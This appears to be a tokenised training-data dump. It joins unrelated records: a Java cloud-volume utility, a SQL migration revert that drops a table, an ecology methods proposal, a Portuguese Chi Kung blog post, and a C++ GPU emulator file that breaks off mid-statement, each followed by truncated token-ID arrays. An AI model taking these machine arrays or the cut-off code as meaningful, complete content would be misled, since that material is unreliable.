[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
/* * TopStack (c) Copyright 2012-2013 Transcend Computing, Inc. * * Licensed under the Apache License, Version 2.0 (the License); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an AS IS BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.msi.tough.utils; import java.util.HashMap; import java.util.Map; import com.msi.tough.cf.AccountType; import com.msi.tough.cf.ec2.VolumeType; import com.msi.tough.engine.aws.ec2.SecurityGroup; import com.msi.tough.engine.aws.ec2.Volume; import com.msi.tough.engine.core.CallStruct; import com.msi.tough.engine.core.TemplateContext; public class VolumeUtil { public static VolumeType createVolume(final AccountType ac, final String name, final TemplateContext ctx, final String parentId, final String stackId, final String availabilityZone, final int allocatedStorage) throws Exception { final CallStruct c = new CallStruct(); c.setAc(ac); c.setCtx(ctx == null ? new TemplateContext(null) : ctx); c.setParentId(parentId); c.setStackId(stackId); c.setName(name); c.setAvailabilityZone(availabilityZone); c.setType(Volume.TYPE); final Volume vol = new Volume(); final Map<String, Object> prop = new HashMap<String, Object>(); prop.put(Constants.AVAILABILITYZONE, availabilityZone); prop.put("Size", allocatedStorage); c.setProperties(prop); final VolumeType volumeInfo = (VolumeType) vol.create(c); return volumeInfo; } public static VolumeType createDBSnapshotVolume(final AccountType ac, final String name, final TemplateContext ctx, final String parentId, final String stackId, final String availabilityZone, final int allocatedStorage, final String failHook) throws Exception { final CallStruct c = new CallStruct(); c.setAc(ac); c.setCtx(ctx == null ? new TemplateContext(null) : ctx); c.setParentId(parentId); c.setStackId(stackId); c.setName(name); c.setAvailabilityZone(availabilityZone); c.setType(Volume.TYPE); final Volume vol = new Volume(); final Map<String, Object> prop = new HashMap<String, Object>(); prop.put(Constants.AVAILABILITYZONE, availabilityZone); prop.put("Size", allocatedStorage); c.setProperties(prop); final VolumeType volumeInfo = (VolumeType) vol.create(c); return volumeInfo; } public static void deleteVolume(final AccountType ac, final String stackId, final String availabilityZone, final String volId) throws Exception { final CallStruct c = new CallStruct(); c.setAc(ac); c.setCtx(new TemplateContext(null)); c.setStackId(stackId); c.setAvailabilityZone(availabilityZone); c.setName(volId); final Map<String, Object> properties = new HashMap<String, Object>(); properties.put(Constants.AVAILABILITYZONE, availabilityZone); c.setProperties(properties); c.setType(SecurityGroup.TYPE); final Volume provider = new Volume(); provider.delete(c); } }
TranscendComputing/TopStackCore
src/com/msi/tough/utils/VolumeUtil.java
Java
apache-2.0
3,590
[ 30522, 1013, 1008, 1008, 13284, 2696, 3600, 1006, 1039, 1007, 9385, 2262, 1011, 2286, 9099, 23865, 9798, 1010, 4297, 1012, 1008, 1008, 7000, 2104, 1996, 15895, 6105, 1010, 2544, 1016, 1012, 1014, 1006, 1996, 6105, 1007, 1025, 1008, 2017, ...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
-- Revert cookbooks BEGIN; DROP TABLE cookbooks; COMMIT;
rajthilakmca/goiardi
sql-files/mysql-bundle/revert/cookbooks.sql
SQL
apache-2.0
60
[ 30522, 1011, 1011, 7065, 8743, 5660, 17470, 4088, 1025, 4530, 2795, 5660, 17470, 1025, 10797, 1025, 102, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
We would like to propose a manuscript submission to the *Methods* section of Ecology Letters, discussing the use of Partially Observed Markov Decision Processes (POMDP) in ecological research questions. Markov Decision Process (MDP) methods have a long history in ecology, particularly in natural resource management such as fisheries or forestry, and in behavioral ecology (where they are commonly called SDP problems, referring to the stochastic dynamic programming method used to solve them.) POMDPs have seen limited application owing to the complexity of solving them and the lack of appropriate software to do so. Recent breakthroughs in the robotics & artificial intelligence community have made POMDPs for large problems tractable, opening the door to a wide array of ecological problems previously considered intractable in an optimal control framework. Our proposed methods paper would present a high quality R package we have developed over several years which leverages a recently developed algorithm for solving POMDP problems. We would illustrate the use of the package on both a classic decision problem from fisheries and in extending a recent Ecology Letters paper of ecosystem services (Dee et al, 2017; which received ESA's Innovation in Sustainability Science award) to account for imperfect observations. We believe that these examples coupled with the user friendly R package would catalyze significant breakthroughs in this critical and timely area of conservation decision making. Authors qualifications: Carl Boettiger, is a theoretical ecologist & assistant professor at UC Berkeley's department Environmental Science, Policy, and Management. Jeroen Ooms is a well-recognized professional software developer with rOpenSci; several of his packages are downloaded over 100,000 times each week. Milad Memarzadeh is a post-doc in Civil & Environmental engineering at UC Berkeley with a PhD from Carnegie Mellon in POMDP methods.
boettiger-lab/sarsop
articles/proposal.md
Markdown
gpl-2.0
1,961
[ 30522, 2057, 2052, 2066, 2000, 16599, 1037, 8356, 12339, 2000, 1996, 1008, 4725, 1008, 2930, 1997, 13517, 4144, 1010, 10537, 1996, 2224, 1997, 6822, 5159, 28003, 2615, 3247, 6194, 1006, 13433, 26876, 2361, 1007, 1999, 12231, 2470, 3980, 101...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
--- layout: post title: Chi Kung depois da Páscoa categories: - artigos --- Começaram nos dias 31 de Março e 2 de Abril os diversos programas de estudo. [Introdução ao Chi Kung](http://lourencoazevedo.com/zero.html) e [Fortalecer a imunidade.](http://lourencoazevedo.com/imunidade.html) No entanto, o facto de ser para alguns uma semana santa, foi um factor impeditivo que não lhes permitiu começar na passada semana. Para alguns dos interessados, isso foi um factor determinante para não iniciarem estes programas - porque não assistiram à primeira aula. Porque não lhes foi possível começar do início. E em vez de 12 semanas ficam apenas 11. A pensar nesta situação, escrevo-lhe a seguinte proposta: Se ainda deseja participar, ao realizar a sua inscrição esta semana, é lhe oferecida uma aula que pode ser compensada quando desejar. Pode utiliza-la até dia 25 de Junho - para por exemplo, assistir a duas aulas na mesma semana. E as 11 aulas, voltam a ser 12 de novo. [Façam-me chegar um email hoje](mailto:lourenco.azevedo@gmail.com) e poderá começar a praticar já amanhã. Ao enviar-me um email, manifestando a sua vontade de participar, receberá o resumo da passada semana, do curso em que vai começar a participar. Uma boa semana cheia de excelentes práticas.
lourencoazevedo/lourencoazevedo
_posts/2015-04-06-simplificar.md
Markdown
gpl-2.0
1,345
[ 30522, 1011, 1011, 1011, 9621, 1024, 2695, 2516, 1024, 9610, 18577, 2139, 6873, 2483, 4830, 14674, 3597, 2050, 7236, 1024, 1011, 2396, 14031, 2015, 1011, 1011, 1011, 2272, 10010, 3286, 16839, 22939, 2015, 2861, 2139, 8879, 1041, 1016, 2139,...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
#include <algorithm> #include "native/base/mutex.h" #include "native/base/timeutil.h" #include "GeDisasm.h" #include "GPUCommon.h" #include "GPUState.h" #include "ChunkFile.h" #include "Core/Config.h" #include "Core/CoreTiming.h" #include "Core/MemMap.h" #include "Core/Host.h" #include "Core/Reporting.h" #include "Core/HLE/sceKernelMemory.h" #include "Core/HLE/sceKernelInterrupt.h" #include "Core/HLE/sceGe.h" GPUCommon::GPUCommon() : currentList(NULL), isbreak(false), drawCompleteTicks(0), busyTicks(0), dumpNextFrame_(false), dumpThisFrame_(false), interruptsEnabled_(true), curTickEst_(0) { memset(dls, 0, sizeof(dls)); for (int i = 0; i < DisplayListMaxCount; ++i) { dls[i].state = PSP_GE_DL_STATE_NONE; dls[i].waitTicks = 0; } SetThreadEnabled(g_Config.bSeparateCPUThread); } void GPUCommon::PopDLQueue() { easy_guard guard(listLock); if(!dlQueue.empty()) { dlQueue.pop_front(); if(!dlQueue.empty()) { bool running = currentList->state == PSP_GE_DL_STATE_RUNNING; currentList = &dls[dlQueue.front()]; if (running) currentList->state = PSP_GE_DL_STATE_RUNNING; } else { currentList = NULL; } } } u32 GPUCommon::DrawSync(int mode) { // FIXME: Workaround for displaylists sometimes hanging unprocessed. Not yet sure of the cause. if (g_Config.bSeparateCPUThread) { // FIXME: Workaround for displaylists sometimes hanging unprocessed. Not yet sure of the cause. ScheduleEvent(GPU_EVENT_PROCESS_QUEUE); // Sync first, because the CPU is usually faster than the emulated GPU. SyncThread(); } easy_guard guard(listLock); if (mode < 0 || mode > 1) return SCE_KERNEL_ERROR_INVALID_MODE; if (mode == 0) { if (!__KernelIsDispatchEnabled()) { return SCE_KERNEL_ERROR_CAN_NOT_WAIT; } if (__IsInInterrupt()) { return SCE_KERNEL_ERROR_ILLEGAL_CONTEXT; } if (drawCompleteTicks > CoreTiming::GetTicks()) { __GeWaitCurrentThread(WAITTYPE_GEDRAWSYNC, 1, "GeDrawSync"); } else { for (int i = 0; i < DisplayListMaxCount; ++i) { if (dls[i].state == PSP_GE_DL_STATE_COMPLETED) { dls[i].state = PSP_GE_DL_STATE_NONE; } } } return 0; } // If there's no current list, it must be complete. DisplayList *top = NULL; for (auto it = dlQueue.begin(), end = dlQueue.end(); it != end; ++it) { if (dls[*it].state != PSP_GE_DL_STATE_COMPLETED) { top = &dls[*it]; break; } } if (!top || top->state == PSP_GE_DL_STATE_COMPLETED) return PSP_GE_LIST_COMPLETED; if (currentList->pc == currentList->stall) return PSP_GE_LIST_STALLING; return PSP_GE_LIST_DRAWING; } void GPUCommon::CheckDrawSync() { easy_guard guard(listLock); if (dlQueue.empty()) { for (int i = 0; i < DisplayListMaxCount; ++i) dls[i].state = PSP_GE_DL_STATE_NONE; } } int GPUCommon::ListSync(int listid, int mode) { if (g_Config.bSeparateCPUThread) { // FIXME: Workaround for displaylists sometimes hanging unprocessed. Not yet sure of the cause. ScheduleEvent(GPU_EVENT_PROCESS_QUEUE); // Sync first, because the CPU is usually faster than the emulated GPU. SyncThread(); } easy_guard guard(listLock); if (listid < 0 || listid >= DisplayListMaxCount) return SCE_KERNEL_ERROR_INVALID_ID; if (mode < 0 || mode > 1) return SCE_KERNEL_ERROR_INVALID_MODE; DisplayList& dl = dls[listid]; if (mode == 1) { switch (dl.state) { case PSP_GE_DL_STATE_QUEUED: if (dl.interrupted) return PSP_GE_LIST_PAUSED; return PSP_GE_LIST_QUEUED; case PSP_GE_DL_STATE_RUNNING: if (dl.pc == dl.stall) return PSP_GE_LIST_STALLING; return PSP_GE_LIST_DRAWING; case PSP_GE_DL_STATE_COMPLETED: return PSP_GE_LIST_COMPLETED; case PSP_GE_DL_STATE_PAUSED: return PSP_GE_LIST_PAUSED; default: return SCE_KERNEL_ERROR_INVALID_ID; } } if (!__KernelIsDispatchEnabled()) { return SCE_KERNEL_ERROR_CAN_NOT_WAIT; } if (__IsInInterrupt()) { return SCE_KERNEL_ERROR_ILLEGAL_CONTEXT; } if (dl.waitTicks > CoreTiming::GetTicks()) { __GeWaitCurrentThread(WAITTYPE_GELISTSYNC, listid, "GeListSync"); } return PSP_GE_LIST_COMPLETED; } u32 GPUCommon::EnqueueList(u32 listpc, u32 stall, int subIntrBase, bool head) { easy_guard guard(listLock); // TODO Check the stack values in missing arg and ajust the stack depth // Check alignment // TODO Check the context and stack alignement too if (((listpc | stall) & 3) != 0) return 0x80000103; int id = -1; bool oldCompatibility = true; if (sceKernelGetCompiledSdkVersion() > 0x01FFFFFF) { //numStacks = 0; //stack = NULL; oldCompatibility = false; } u64 currentTicks = CoreTiming::GetTicks(); for (int i = 0; i < DisplayListMaxCount; ++i) { if (dls[i].state != PSP_GE_DL_STATE_NONE && dls[i].state != PSP_GE_DL_STATE_COMPLETED) { if (dls[i].pc == listpc && !oldCompatibility) { ERROR_LOG(G3D, "sceGeListEnqueue: can't enqueue, list address %08X already used", listpc); return 0x80000021; } //if(dls[i].stack == stack) { // ERROR_LOG(G3D, "sceGeListEnqueue: can't enqueue, list stack %08X already used", context); // return 0x80000021; //} } if (dls[i].state == PSP_GE_DL_STATE_NONE && !dls[i].pendingInterrupt) { // Prefer a list that isn't used id = i; break; } if (id < 0 && dls[i].state == PSP_GE_DL_STATE_COMPLETED && !dls[i].pendingInterrupt && dls[i].waitTicks < currentTicks) { id = i; } } if (id < 0) { ERROR_LOG_REPORT(G3D, "No DL ID available to enqueue"); for(auto it = dlQueue.begin(); it != dlQueue.end(); ++it) { DisplayList &dl = dls[*it]; DEBUG_LOG(G3D, "DisplayList %d status %d pc %08x stall %08x", *it, dl.state, dl.pc, dl.stall); } return SCE_KERNEL_ERROR_OUT_OF_MEMORY; } DisplayList &dl = dls[id]; dl.id = id; dl.startpc = listpc & 0x0FFFFFFF; dl.pc = listpc & 0x0FFFFFFF; dl.stall = stall & 0x0FFFFFFF; dl.subIntrBase = std::max(subIntrBase, -1); dl.stackptr = 0; dl.signal = PSP_GE_SIGNAL_NONE; dl.interrupted = false; dl.waitTicks = (u64)-1; dl.interruptsEnabled = interruptsEnabled_; if (head) { if (currentList) { if (currentList->state != PSP_GE_DL_STATE_PAUSED) return SCE_KERNEL_ERROR_INVALID_VALUE; currentList->state = PSP_GE_DL_STATE_QUEUED; } dl.state = PSP_GE_DL_STATE_PAUSED; currentList = &dl; dlQueue.push_front(id); } else if (currentList) { dl.state = PSP_GE_DL_STATE_QUEUED; dlQueue.push_back(id); } else { dl.state = PSP_GE_DL_STATE_RUNNING; currentList = &dl; dlQueue.push_front(id); drawCompleteTicks = (u64)-1; // TODO save context when starting the list if param is set guard.unlock(); ProcessDLQueue(); } return id; } u32 GPUCommon::DequeueList(int listid) { easy_guard guard(listLock); if (listid < 0 || listid >= DisplayListMaxCount || dls[listid].state == PSP_GE_DL_STATE_NONE) return SCE_KERNEL_ERROR_INVALID_ID; if (dls[listid].state == PSP_GE_DL_STATE_RUNNING || dls[listid].state == PSP_GE_DL_STATE_PAUSED) return 0x80000021; dls[listid].state = PSP_GE_DL_STATE_NONE; if (listid == dlQueue.front()) PopDLQueue(); else dlQueue.remove(listid); dls[listid].waitTicks = 0; __GeTriggerWait(WAITTYPE_GELISTSYNC, listid); CheckDrawSync(); return 0; } u32 GPUCommon::UpdateStall(int listid, u32 newstall) { easy_guard guard(listLock); if (listid < 0 || listid >= DisplayListMaxCount || dls[listid].state == PSP_GE_DL_STATE_NONE) return SCE_KERNEL_ERROR_INVALID_ID; dls[listid].stall = newstall & 0x0FFFFFFF; if (dls[listid].signal == PSP_GE_SIGNAL_HANDLER_PAUSE) dls[listid].signal = PSP_GE_SIGNAL_HANDLER_SUSPEND; guard.unlock(); ProcessDLQueue(); return 0; } u32 GPUCommon::Continue() { easy_guard guard(listLock); if (!currentList) return 0; if (currentList->state == PSP_GE_DL_STATE_PAUSED) { if (!isbreak) { if (currentList->signal == PSP_GE_SIGNAL_HANDLER_PAUSE) return 0x80000021; currentList->state = PSP_GE_DL_STATE_RUNNING; currentList->signal = PSP_GE_SIGNAL_NONE; // TODO Restore context of DL is necessary // TODO Restore BASE // We have a list now, so it's not complete. drawCompleteTicks = (u64)-1; } else currentList->state = PSP_GE_DL_STATE_QUEUED; } else if (currentList->state == PSP_GE_DL_STATE_RUNNING) { if (sceKernelGetCompiledSdkVersion() >= 0x02000000) return 0x80000020; return -1; } else { if (sceKernelGetCompiledSdkVersion() >= 0x02000000) return 0x80000004; return -1; } guard.unlock(); ProcessDLQueue(); return 0; } u32 GPUCommon::Break(int mode) { easy_guard guard(listLock); if (mode < 0 || mode > 1) return SCE_KERNEL_ERROR_INVALID_MODE; if (!currentList) return 0x80000020; if (mode == 1) { // Clear the queue dlQueue.clear(); for (int i = 0; i < DisplayListMaxCount; ++i) { dls[i].state = PSP_GE_DL_STATE_NONE; dls[i].signal = PSP_GE_SIGNAL_NONE; } currentList = NULL; return 0; } if (currentList->state == PSP_GE_DL_STATE_NONE || currentList->state == PSP_GE_DL_STATE_COMPLETED) { if (sceKernelGetCompiledSdkVersion() >= 0x02000000) return 0x80000004; return -1; } if (currentList->state == PSP_GE_DL_STATE_PAUSED) { if (sceKernelGetCompiledSdkVersion() > 0x02000010) { if (currentList->signal == PSP_GE_SIGNAL_HANDLER_PAUSE) { ERROR_LOG_REPORT(G3D, "sceGeBreak: can't break signal-pausing list"); } else return 0x80000020; } return 0x80000021; } if (currentList->state == PSP_GE_DL_STATE_QUEUED) { currentList->state = PSP_GE_DL_STATE_PAUSED; return currentList->id; } // TODO Save BASE // TODO Adjust pc to be just before SIGNAL/END // TODO: Is this right? if (currentList->signal == PSP_GE_SIGNAL_SYNC) currentList->pc += 8; currentList->interrupted = true; currentList->state = PSP_GE_DL_STATE_PAUSED; currentList->signal = PSP_GE_SIGNAL_HANDLER_SUSPEND; isbreak = true; return currentList->id; } bool GPUCommon::InterpretList(DisplayList &list) { // Initialized to avoid a race condition with bShowDebugStats changing. double start = 0.0; if (g_Config.bShowDebugStats) { time_update(); start = time_now_d(); } easy_guard guard(listLock); // TODO: This has to be right... but it freezes right now? //if (list.state == PSP_GE_DL_STATE_PAUSED) // return false; currentList = &list; // I don't know if this is the correct place to zero this, but something // need to do it. See Sol Trigger title screen. // TODO: Maybe this is per list? Should a stalled list remember the old value? gstate_c.offsetAddr = 0; if (!Memory::IsValidAddress(list.pc)) { ERROR_LOG_REPORT(G3D, "DL PC = %08x WTF!!!!", list.pc); return true; } #if defined(USING_QT_UI) if (host->GpuStep()) { host->SendGPUStart(); } #endif cycleLastPC = list.pc; downcount = list.stall == 0 ? 0x0FFFFFFF : (list.stall - list.pc) / 4; list.state = PSP_GE_DL_STATE_RUNNING; list.interrupted = false; gpuState = list.pc == list.stall ? GPUSTATE_STALL : GPUSTATE_RUNNING; guard.unlock(); const bool dumpThisFrame = dumpThisFrame_; // TODO: Add check for displaylist debugger. const bool useFastRunLoop = !dumpThisFrame; while (gpuState == GPUSTATE_RUNNING) { { easy_guard innerGuard(listLock); if (list.pc == list.stall) { gpuState = GPUSTATE_STALL; downcount = 0; } } if (useFastRunLoop) { FastRunLoop(list); } else { SlowRunLoop(list); } { easy_guard innerGuard(listLock); downcount = list.stall == 0 ? 0x0FFFFFFF : (list.stall - list.pc) / 4; if (gpuState == GPUSTATE_STALL && list.stall != list.pc) { // Unstalled. gpuState = GPUSTATE_RUNNING; } } } // We haven't run the op at list.pc, so it shouldn't count. if (cycleLastPC != list.pc) { UpdatePC(list.pc - 4, list.pc); } if (g_Config.bShowDebugStats) { time_update(); gpuStats.msProcessingDisplayLists += time_now_d() - start; } return gpuState == GPUSTATE_DONE || gpuState == GPUSTATE_ERROR; } void GPUCommon::SlowRunLoop(DisplayList &list) { const bool dumpThisFrame = dumpThisFrame_; while (downcount > 0) { u32 op = Memory::ReadUnchecked_U32(list.pc); u32 cmd = op >> 24; #if defined(USING_QT_UI) if (host->GpuStep()) host->SendGPUWait(cmd, list.pc, &gstate); #endif u32 diff = op ^ gstate.cmdmem[cmd]; PreExecuteOp(op, diff); if (dumpThisFrame) { char temp[256]; u32 prev = Memory::ReadUnchecked_U32(list.pc - 4); GeDisassembleOp(list.pc, op, prev, temp); NOTICE_LOG(G3D, "%s", temp); } gstate.cmdmem[cmd] = op; ExecuteOp(op, diff); list.pc += 4; --downcount; } } // The newPC parameter is used for jumps, we don't count cycles between. inline void GPUCommon::UpdatePC(u32 currentPC, u32 newPC) { // Rough estimate, 2 CPU ticks (it's double the clock rate) per GPU instruction. int executed = (currentPC - cycleLastPC) / 4; cyclesExecuted += 2 * executed; gpuStats.otherGPUCycles += 2 * executed; cycleLastPC = newPC == 0 ? currentPC : newPC; gpuStats.gpuCommandsAtCallLevel[std::min(currentList->stackptr, 3)] += executed; // Exit the runloop and recalculate things. This isn't common. downcount = 0; } void GPUCommon::ReapplyGfxState() { if (IsOnSeparateCPUThread()) { ScheduleEvent(GPU_EVENT_REAPPLY_GFX_STATE); } else { ReapplyGfxStateInternal(); } } void GPUCommon::ReapplyGfxStateInternal() { // ShaderManager_DirtyShader(); // The commands are embedded in the command memory so we can just reexecute the words. Convenient. // To be safe we pass 0xFFFFFFFF as the diff. /* ExecuteOp(gstate.cmdmem[GE_CMD_ALPHABLENDENABLE], 0xFFFFFFFF); ExecuteOp(gstate.cmdmem[GE_CMD_ALPHATESTENABLE], 0xFFFFFFFF); ExecuteOp(gstate.cmdmem[GE_CMD_BLENDMODE], 0xFFFFFFFF); ExecuteOp(gstate.cmdmem[GE_CMD_ZTEST], 0xFFFFFFFF); ExecuteOp(gstate.cmdmem[GE_CMD_ZTESTENABLE], 0xFFFFFFFF); ExecuteOp(gstate.cmdmem[GE_CMD_CULL], 0xFFFFFFFF); ExecuteOp(gstate.cmdmem[GE_CMD_CULLFACEENABLE], 0xFFFFFFFF); ExecuteOp(gstate.cmdmem[GE_CMD_SCISSOR1], 0xFFFFFFFF); ExecuteOp(gstate.cmdmem[GE_CMD_SCISSOR2], 0xFFFFFFFF); */ for (int i = GE_CMD_VERTEXTYPE; i < GE_CMD_BONEMATRIXNUMBER; i++) { if (i != GE_CMD_ORIGIN) { ExecuteOp(gstate.cmdmem[i], 0xFFFFFFFF); } } // Can't write to bonematrixnumber here for (int i = GE_CMD_MORPHWEIGHT0; i < GE_CMD_PATCHFACING; i++) { ExecuteOp(gstate.cmdmem[i], 0xFFFFFFFF); } // There are a few here in the middle that we shouldn't execute... for (int i = GE_CMD_VIEWPORTX1; i < GE_CMD_TRANSFERSTART; i++) { ExecuteOp(gstate.cmdmem[i], 0xFFFFFFFF); } // TODO: there's more... } inline void GPUCommon::UpdateState(GPUState state) { gpuState = state; if (state != GPUSTATE_RUNNING) downcount = 0; } void GPUCommon::ProcessEvent(GPUEvent ev) { switch (ev.type) { case GPU_EVENT_PROCESS_QUEUE: ProcessDLQueueInternal(); break; case GPU_EVENT_REAPPLY_GFX_STATE: ReapplyGfxStateInternal(); break; default: ERROR_LOG_REPORT(G3D, "Unexpected GPU event type: %d", (int)ev); } } int GPUCommon::GetNextListIndex() { easy_guard guard(listLock); auto iter = dlQueue.begin(); if (iter != dlQueue.end()) { return *iter; } else { return -1; } } bool GPUCommon::ProcessDLQueue() { ScheduleEvent(GPU_EVENT_PROCESS_QUEUE); return true; } void GPUCommon::ProcessDLQueueInternal() { startingTicks = CoreTiming::GetTicks(); cyclesExecuted = 0; UpdateTickEstimate(std::max(busyTicks, startingTicks + cyclesExecuted)); // Seems to be correct behaviour to process the list anyway? if (startingTicks < busyTicks) { DEBUG_LOG(G3D, "Can't execute a list yet, still busy for %lld ticks", busyTicks - startingTicks); //return; } for (int listIndex = GetNextListIndex(); listIndex != -1; listIndex = GetNextListIndex()) { DisplayList &l = dls[listIndex]; DEBUG_LOG(G3D, "Okay, starting DL execution at %08x - stall = %08x", l.pc, l.stall); if (!InterpretList(l)) { return; } else { easy_guard guard(listLock); // At the end, we can remove it from the queue and continue. dlQueue.erase(std::remove(dlQueue.begin(), dlQueue.end(), listIndex), dlQueue.end()); UpdateTickEstimate(std::max(busyTicks, startingTicks + cyclesExecuted)); } } easy_guard guard(listLock); currentList = NULL; drawCompleteTicks = startingTicks + cyclesExecuted; busyTicks = std::max(busyTicks, drawCompleteTicks); __GeTriggerSync(WAITTYPE_GEDRAWSYNC, 1, drawCompleteTicks); // Since the event is in CoreTiming, we're in sync. Just set 0 now. UpdateTickEstimate(0); } void GPUCommon::PreExecuteOp(u32 op, u32 diff) { // Nothing to do } void GPUCommon::ExecuteOp(u32 op, u32 diff) { u32 cmd = op >> 24; u32 data = op & 0xFFFFFF; // Handle control and drawing commands here directly. The others we delegate. switch (cmd) { case GE_CMD_NOP: break; case GE_CMD_OFFSETADDR: gstate_c.offsetAddr = data << 8; break; case GE_CMD_ORIGIN: { easy_guard guard(listLock); gstate_c.offsetAddr = currentList->pc; } break; case GE_CMD_JUMP: { easy_guard guard(listLock); u32 target = gstate_c.getRelativeAddress(data); if (Memory::IsValidAddress(target)) { UpdatePC(currentList->pc, target - 4); currentList->pc = target - 4; // pc will be increased after we return, counteract that } else { ERROR_LOG_REPORT(G3D, "JUMP to illegal address %08x - ignoring! data=%06x", target, data); } } break; case GE_CMD_CALL: { easy_guard guard(listLock); // Saint Seiya needs correct support for relative calls. u32 retval = currentList->pc + 4; u32 target = gstate_c.getRelativeAddress(data); if (currentList->stackptr == ARRAY_SIZE(currentList->stack)) { ERROR_LOG_REPORT(G3D, "CALL: Stack full!"); } else if (!Memory::IsValidAddress(target)) { ERROR_LOG_REPORT(G3D, "CALL to illegal address %08x - ignoring! data=%06x", target, data); } else { auto &stackEntry = currentList->stack[currentList->stackptr++]; stackEntry.pc = retval; stackEntry.offsetAddr = gstate_c.offsetAddr; UpdatePC(currentList->pc, target - 4); currentList->pc = target - 4; // pc will be increased after we return, counteract that } } break; case GE_CMD_RET: { easy_guard guard(listLock); if (currentList->stackptr == 0) { ERROR_LOG_REPORT(G3D, "RET: Stack empty!"); } else { auto &stackEntry = currentList->stack[--currentList->stackptr]; gstate_c.offsetAddr = stackEntry.offsetAddr; u32 target = (currentList->pc & 0xF0000000) | (stackEntry.pc & 